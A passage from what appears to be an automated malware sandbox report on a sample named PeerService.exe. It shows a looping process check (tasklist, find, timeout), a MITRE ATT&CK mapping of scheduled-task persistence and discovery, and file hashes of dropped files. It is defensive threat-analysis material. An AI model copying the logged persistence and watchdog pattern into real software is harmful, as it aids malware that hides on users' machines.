    PID:796
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:5464
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4992
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5404
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:5180
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5592
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2276
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:2604
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3588
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1116
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:4728
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3456
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:6060
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:3220
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3660
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4444
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:6128
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3724
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1928
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:6024
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2988
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5260
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:5756
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3152
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3476
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:3672
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1148
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4292
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:4984
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4164
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5044
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:5512
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5624
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4808
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:672
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3784
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3872
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:4816
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5012
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3880
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:2040
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5852
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4612
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:200
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2720
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2704

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1599754af315bf45fc5c21a5d9d6289ee5d77b66ecc79c44b56e93a2e4a258b3
MD5 921a478d4b661d5dbabaa5056c375995
SHA1 0f636740ac1adb46315e7380dca2d29c333d0456
SHA512 ed439021bbee12984ea7fdfc5f2d78a2599748df67ecbfb6d92a78314e76ba9019d6971e78ea0a8bd0567d40a124483f0d48e7d42afd2f730e81614fe36b565f
TLSH
T1B8216833B3DD8614C89A413A10CEAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_y1x3j5nr.tfd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y1x3j5nr.tfd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

PeerService.exe

Path C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
Size 4.7MB
SHA256 033f0d216f29e2e61ce7f89928169c60d9376f8f7c921c5d39e5e712aa97fece
MD5 9ce3d7f7927665251af4ec634437beaa
SHA1 110169b4fb275d0697145645316a1b16e29ec7ad
SHA512 54482bba1b90b07863eb799b3cb8dee080d93767448452f0e7ed13e9f8a38b3ec959754ede6b7d9313d95615da11881cd707b08268f0b7fc8f5fa429e2820e61
SSDEEP 98304:4+hBp75lKkBc/WGoqZ92yVG/uzGNV9HkAVHL/DKmF1:4+hBtOkS+ByQyVG/uzGNVyAl3K81
TLSH
T17F36E02BB26901E8D1BFD17CC9165907EBB2780543A0A7CF12E046A62F77BE14E7E315
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5664-12-0x0000028BDA4B0000-0x0000028BDA4D2000-memory.dmp

Download

memory/5664-19-0x0000028BDA540000-0x0000028BDA55E000-memory.dmp

Download

memory/5664-20-0x0000028BDA800000-0x0000028BDA8B2000-memory.dmp

Download

memory/5664-21-0x0000028BDA560000-0x0000028BDA56A000-memory.dmp

Download